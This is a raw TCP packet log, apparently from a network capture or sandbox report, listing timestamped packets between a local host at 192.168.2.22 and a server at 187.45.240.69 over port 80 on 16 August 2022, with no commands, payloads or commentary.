Aug 16, 2022 11:53:23.759541988 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.796781063 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.799386024 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.802402973 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.901566029 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.924261093 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.924380064 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.924861908 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.036696911 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.036922932 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037022114 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037060022 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037084103 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037107944 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037108898 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037122011 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037133932 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037154913 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037158966 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037164927 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037185907 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037208080 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037228107 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037230015 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037251949 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037252903 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.037276983 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.037295103 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.039119005 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.164983988 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165091991 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165122032 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165148020 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165186882 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165195942 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.165214062 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165225983 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.165230989 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.165245056 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.165278912 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165322065 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.165410042 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165585995 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.165637016 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.169243097 CEST	49190	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.170803070 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268693924 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268743038 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268769026 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268781900 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268795967 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268810034 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268824100 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268832922 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268851042 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268857002 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268878937 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268884897 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268907070 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268913031 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268934011 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268940926 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268961906 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268971920 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.268991947 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.268996954 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269017935 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269026041 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269046068 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269052982 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269073009 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269079924 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269099951 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269109964 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269123077 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269128084 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269138098 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269155979 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269181967 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269190073 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269210100 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269216061 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269236088 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.269270897 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.269392014 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.408555984 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.408694029 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.409202099 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.412235022 CEST	80	49190	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500621080 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500650883 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500669956 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500686884 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500703096 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500719070 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500737906 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500756025 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500772953 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500790119 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500808001 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500824928 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500842094 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.500847101 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500866890 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.500869036 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500891924 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500895023 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.500910044 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500921011 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.500927925 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500947952 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.500951052 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.500976086 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.501000881 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.501069069 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.501086950 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.501101971 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.501113892 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.501127005 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.501132965 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.501143932 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.501168966 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.501172066 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.501211882 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.501318932 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.503916025 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.648715973 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.656729937 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.656791925 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.656832933 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.656869888 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.656964064 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.657033920 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.657075882 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.657103062 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.657135963 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.657200098 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.657346964 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.657413960 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.657430887 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.657500982 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.657593012 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.657665968 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.657759905 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.657824993 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.660630941 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.738959074 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739034891 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739063978 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739103079 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739131927 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739161968 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739190102 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739228964 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739258051 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739285946 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739315033 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739341974 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739368916 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739412069 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739417076 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739420891 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739424944 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739465952 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739499092 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739506960 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739525080 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739540100 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739562035 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739568949 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739588976 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739599943 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739614964 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739629030 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739658117 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739658117 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739687920 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739687920 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739716053 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739742041 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739743948 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739748001 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739773989 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739774942 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739811897 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739830017 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739860058 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739887953 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739888906 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739916086 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739917040 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739949942 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.739954948 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.739978075 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740005970 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740029097 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740032911 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740061998 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740061998 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740092039 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740118980 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740123987 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740147114 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740149021 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740175962 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740179062 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740201950 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740210056 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740231991 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740237951 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740261078 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740266085 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740289927 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740294933 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740319014 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.740324020 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740353107 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.740384102 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.745812893 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.896869898 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.896965027 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.897006035 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.897069931 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.897109985 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.897349119 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.897394896 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.897521019 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.897569895 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.897711039 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.897752047 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.897958994 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.898003101 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.898212910 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.898272038 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.898507118 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.898549080 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.898798943 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.898852110 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.899116039 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.899172068 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.899413109 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.899471998 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.899766922 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.899817944 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.900214911 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.900265932 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.900520086 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.900562048 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.904237986 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.904808044 CEST	49191	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.906420946 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.972868919 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.972945929 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.972986937 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.972989082 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973011017 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973020077 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973026991 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973063946 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973073959 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973102093 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973107100 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973143101 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973146915 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973190069 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973193884 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973241091 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973248005 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973295927 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973300934 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973344088 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973350048 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973382950 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973388910 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973417997 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973428965 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973457098 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.973463058 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.973501921 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.980710983 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.980767012 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.980781078 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.980815887 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.980819941 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.980865955 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.980876923 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.980925083 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.980937004 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.980987072 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.980993032 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.981036901 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.981049061 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.981090069 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.981091976 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.981133938 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.981137037 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.981173992 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.981180906 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.981206894 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.981211901 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:24.981216908 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.981265068 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.981538057 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:24.982944012 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.134835005 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.134994984 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.135461092 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.144623995 CEST	80	49191	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.212815046 CEST	80	49189	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.216850042 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.217412949 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.217451096 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.363884926 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368113995 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368150949 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368175030 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368197918 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368220091 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.368225098 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368251085 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368257999 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.368275881 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368288994 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.368300915 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368319988 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.368324995 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368343115 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.368351936 CEST	80	49192	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.368393898 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.368413925 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.370050907 CEST	49192	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:25.452589989 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:25.461081982 CEST	80	49193	187.45.240.69	192.168.2.22
